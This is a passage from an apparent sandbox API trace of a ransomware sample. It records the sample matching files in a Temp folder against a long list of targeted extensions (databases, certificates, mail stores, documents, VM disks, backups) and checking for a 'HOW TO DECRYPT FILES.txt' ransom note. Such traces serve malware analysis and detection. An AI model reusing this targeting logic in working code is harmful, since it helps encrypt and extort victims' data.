pszSpec="*.bz2") returned 0 [0086.412] lstrlenA (lpString="*.bz2") returned 5 [0086.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.gz") returned 0 [0086.412] lstrlenA (lpString="*.gz") returned 4 [0086.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.mkv") returned 0 [0086.412] lstrlenA (lpString="*.mkv") returned 5 [0086.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.eml") returned 0 [0086.412] lstrlenA (lpString="*.eml") returned 5 [0086.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.msg") returned 0 [0086.412] lstrlenA (lpString="*.msg") returned 5 [0086.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.edb") returned 0 [0086.412] lstrlenA (lpString="*.edb") returned 5 [0086.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.accdb") returned 0 [0086.412] lstrlenA (lpString="*.accdb") returned 7 [0086.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.odb") returned 0 [0086.412] lstrlenA (lpString="*.odb") returned 5 [0086.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.java") returned 0 [0086.412] lstrlenA (lpString="*.java") returned 6 [0086.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.asm") returned 0 [0086.412] lstrlenA (lpString="*.asm") returned 5 [0086.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.pfx") returned 0 [0086.412] lstrlenA (lpString="*.pfx") returned 5 [0086.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.pem") returned 0 [0086.412] lstrlenA (lpString="*.pem") returned 5 [0086.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.p12") returned 0 [0086.412] lstrlenA (lpString="*.p12") returned 5 [0086.412] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.gpg") returned 0 [0086.413] lstrlenA (lpString="*.gpg") returned 5 [0086.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.vsd") returned 0 [0086.413] lstrlenA (lpString="*.vsd") returned 5 [0086.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.odg") returned 0 [0086.413] lstrlenA (lpString="*.odg") returned 5 [0086.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.raw") returned 0 [0086.413] lstrlenA (lpString="*.raw") returned 5 [0086.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.nef") returned 0 [0086.413] lstrlenA (lpString="*.nef") returned 5 [0086.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.svg") returned 0 [0086.413] lstrlenA (lpString="*.svg") returned 5 [0086.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.psd") returned 0 [0086.413] lstrlenA (lpString="*.psd") returned 5 [0086.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.vmx") returned 0 [0086.413] lstrlenA (lpString="*.vmx") returned 5 [0086.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.vmdk") returned 0 [0086.413] lstrlenA (lpString="*.vmdk") returned 6 [0086.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.vdi") returned 0 [0086.413] lstrlenA (lpString="*.vdi") returned 5 [0086.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.lay6") returned 0 [0086.413] lstrlenA (lpString="*.lay6") returned 6 [0086.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.mpeg") returned 0 [0086.413] lstrlenA (lpString="*.mpeg") returned 6 [0086.413] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.djvu") returned 0 [0086.414] lstrlenA (lpString="*.djvu") returned 6 [0086.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.tiff") returned 0 [0086.414] lstrlenA (lpString="*.tiff") returned 6 [0086.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.backup") returned 0 [0086.414] lstrlenA (lpString="*.backup") returned 8 [0086.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.pdf") returned 0 [0086.414] lstrlenA (lpString="*.pdf") returned 5 [0086.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.cert") returned 0 [0086.414] lstrlenA (lpString="*.cert") returned 6 [0086.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.docm") returned 0 [0086.414] lstrlenA (lpString="*.docm") returned 6 [0086.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.xlsm") returned 0 [0086.414] lstrlenA (lpString="*.xlsm") returned 6 [0086.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.dwg") returned 0 [0086.414] lstrlenA (lpString="*.dwg") returned 5 [0086.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.nd") returned 0 [0086.414] lstrlenA (lpString="*.nd") returned 4 [0086.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.tlg") returned 0 [0086.414] lstrlenA (lpString="*.tlg") returned 5 [0086.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.lgb") returned 0 [0086.414] lstrlenA (lpString="*.lgb") returned 5 [0086.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.mov") returned 0 [0086.414] lstrlenA (lpString="*.mov") returned 5 [0086.414] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.xdw") returned 0 [0086.414] lstrlenA (lpString="*.xdw") returned 5 [0086.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.ods") returned 0 [0086.415] lstrlenA (lpString="*.ods") returned 5 [0086.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.wav") returned 0 [0086.415] lstrlenA (lpString="*.wav") returned 5 [0086.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.mp3") returned 0 [0086.415] lstrlenA (lpString="*.mp3") returned 5 [0086.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.aiff") returned 0 [0086.415] lstrlenA (lpString="*.aiff") returned 6 [0086.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.flac") returned 0 [0086.415] lstrlenA (lpString="*.flac") returned 6 [0086.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.m4a") returned 0 [0086.415] lstrlenA (lpString="*.m4a") returned 5 [0086.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf", pszSpec="*.csv") returned 0 [0086.415] lstrlenA (lpString="*.csv") returned 5 [0086.415] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xba71d5e0, ftCreationTime.dwHighDateTime=0x1d5d8f4, ftLastAccessTime.dwLowDateTime=0xb267b560, ftLastAccessTime.dwHighDateTime=0x1d5dcda, ftLastWriteTime.dwLowDateTime=0xb267b560, ftLastWriteTime.dwHighDateTime=0x1d5dcda, nFileSizeHigh=0x0, nFileSizeLow=0xd920, dwReserved0=0x0, dwReserved1=0x0, cFileName="6MO9P tQT3W.m4a", cAlternateFileName="6MO9PT~1.M4A")) returned 1 [0086.415] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.415] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="6MO9P tQT3W.m4a") returned 1 [0086.415] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="6MO9P tQT3W.m4a") returned 1 [0086.415] lstrcmpiA (lpString1="", lpString2="6MO9P tQT3W.m4a") returned -1 [0086.415] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5QpI_cp.swf") returned="5QpI_cp.swf" [0086.415] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.415] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.415] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.415] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.416] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="6MO9P tQT3W.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a" [0086.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.ems") returned 0 [0086.416] lstrlenA (lpString="*.ems") returned 5 [0086.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.db") returned 0 [0086.416] lstrlenA (lpString="*.db") returned 4 [0086.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.dbf") returned 0 [0086.416] lstrlenA (lpString="*.dbf") returned 5 [0086.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.myox") returned 0 [0086.416] lstrlenA (lpString="*.myox") returned 6 [0086.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.myo") returned 0 [0086.416] lstrlenA (lpString="*.myo") returned 5 [0086.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.qbw") returned 0 [0086.416] lstrlenA (lpString="*.qbw") returned 5 [0086.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.qbb") returned 0 [0086.416] lstrlenA (lpString="*.qbb") returned 5 [0086.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.qbm") returned 0 [0086.416] lstrlenA (lpString="*.qbm") returned 5 [0086.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.qbo") returned 0 [0086.416] lstrlenA (lpString="*.qbo") returned 5 [0086.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.qbx") returned 0 [0086.416] lstrlenA (lpString="*.qbx") returned 5 [0086.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.qba") returned 0 [0086.416] lstrlenA (lpString="*.qba") returned 5 [0086.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.qby") returned 0 [0086.416] lstrlenA (lpString="*.qby") returned 5 [0086.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.qbj") returned 0 [0086.417] lstrlenA (lpString="*.qbj") returned 5 [0086.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.ofx") returned 0 [0086.417] lstrlenA (lpString="*.ofx") returned 5 [0086.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.qif") returned 0 [0086.417] lstrlenA (lpString="*.qif") returned 5 [0086.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.mye") returned 0 [0086.417] lstrlenA (lpString="*.mye") returned 5 [0086.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.mbox") returned 0 [0086.417] lstrlenA (lpString="*.mbox") returned 6 [0086.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.eml") returned 0 [0086.417] lstrlenA (lpString="*.eml") returned 5 [0086.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.pst") returned 0 [0086.417] lstrlenA (lpString="*.pst") returned 5 [0086.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.ost") returned 0 [0086.417] lstrlenA (lpString="*.ost") returned 5 [0086.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.idx") returned 0 [0086.417] lstrlenA (lpString="*.idx") returned 5 [0086.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.dbx") returned 0 [0086.417] lstrlenA (lpString="*.dbx") returned 5 [0086.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.sql") returned 0 [0086.417] lstrlenA (lpString="*.sql") returned 5 [0086.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.mdb") returned 0 [0086.417] lstrlenA (lpString="*.mdb") returned 5 [0086.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.fdb") returned 0 [0086.417] lstrlenA (lpString="*.fdb") returned 5 [0086.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.wab") returned 0 [0086.417] lstrlenA (lpString="*.wab") returned 5 [0086.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.dat") returned 0 [0086.418] lstrlenA (lpString="*.dat") returned 5 [0086.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.txt") returned 0 [0086.418] lstrlenA (lpString="*.txt") returned 5 [0086.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.jpeg") returned 0 [0086.418] lstrlenA (lpString="*.jpeg") returned 6 [0086.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.jpg") returned 0 [0086.418] lstrlenA (lpString="*.jpg") returned 5 [0086.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.png") returned 0 [0086.418] lstrlenA (lpString="*.png") returned 5 [0086.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.php") returned 0 [0086.418] lstrlenA (lpString="*.php") returned 5 [0086.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.cs") returned 0 [0086.418] lstrlenA (lpString="*.cs") returned 4 [0086.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.cpp") returned 0 [0086.418] lstrlenA (lpString="*.cpp") returned 5 [0086.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.rar") returned 0 [0086.418] lstrlenA (lpString="*.rar") returned 5 [0086.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.zip") returned 0 [0086.418] lstrlenA (lpString="*.zip") returned 5 [0086.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.html") returned 0 [0086.418] lstrlenA (lpString="*.html") returned 6 [0086.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.htm") returned 0 [0086.418] lstrlenA (lpString="*.htm") returned 5 [0086.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.xlsx") returned 0 [0086.418] lstrlenA (lpString="*.xlsx") returned 6 [0086.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.xls") returned 0 [0086.419] lstrlenA (lpString="*.xls") returned 5 [0086.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.mp4") returned 0 [0086.419] lstrlenA (lpString="*.mp4") returned 5 [0086.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.ppt") returned 0 [0086.419] lstrlenA (lpString="*.ppt") returned 5 [0086.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.pptx") returned 0 [0086.419] lstrlenA (lpString="*.pptx") returned 6 [0086.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.doc") returned 0 [0086.419] lstrlenA (lpString="*.doc") returned 5 [0086.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.dot") returned 0 [0086.419] lstrlenA (lpString="*.dot") returned 5 [0086.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.docx") returned 0 [0086.419] lstrlenA (lpString="*.docx") returned 6 [0086.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.7z") returned 0 [0086.419] lstrlenA (lpString="*.7z") returned 4 [0086.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.tar") returned 0 [0086.419] lstrlenA (lpString="*.tar") returned 5 [0086.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.bz2") returned 0 [0086.419] lstrlenA (lpString="*.bz2") returned 5 [0086.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.gz") returned 0 [0086.419] lstrlenA (lpString="*.gz") returned 4 [0086.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.mkv") returned 0 [0086.419] lstrlenA (lpString="*.mkv") returned 5 [0086.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.eml") returned 0 [0086.419] lstrlenA (lpString="*.eml") returned 5 [0086.419] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.msg") returned 0 [0086.419] lstrlenA (lpString="*.msg") returned 5 [0086.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.edb") returned 0 [0086.420] lstrlenA (lpString="*.edb") returned 5 [0086.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.accdb") returned 0 [0086.420] lstrlenA (lpString="*.accdb") returned 7 [0086.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.odb") returned 0 [0086.420] lstrlenA (lpString="*.odb") returned 5 [0086.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.java") returned 0 [0086.420] lstrlenA (lpString="*.java") returned 6 [0086.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.asm") returned 0 [0086.420] lstrlenA (lpString="*.asm") returned 5 [0086.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.pfx") returned 0 [0086.420] lstrlenA (lpString="*.pfx") returned 5 [0086.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.pem") returned 0 [0086.420] lstrlenA (lpString="*.pem") returned 5 [0086.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.p12") returned 0 [0086.420] lstrlenA (lpString="*.p12") returned 5 [0086.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.gpg") returned 0 [0086.420] lstrlenA (lpString="*.gpg") returned 5 [0086.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.vsd") returned 0 [0086.420] lstrlenA (lpString="*.vsd") returned 5 [0086.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.odg") returned 0 [0086.420] lstrlenA (lpString="*.odg") returned 5 [0086.420] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.raw") returned 0 [0086.420] lstrlenA (lpString="*.raw") returned 5 [0086.421] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.nef") returned 0 [0086.421] lstrlenA (lpString="*.nef") returned 5 [0086.421] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6MO9P tQT3W.m4a", pszSpec="*.svg") returned 0 [0086.421] lstrlenA (lpString="*.svg") returned 5 [0086.421] PathMatchSpecA 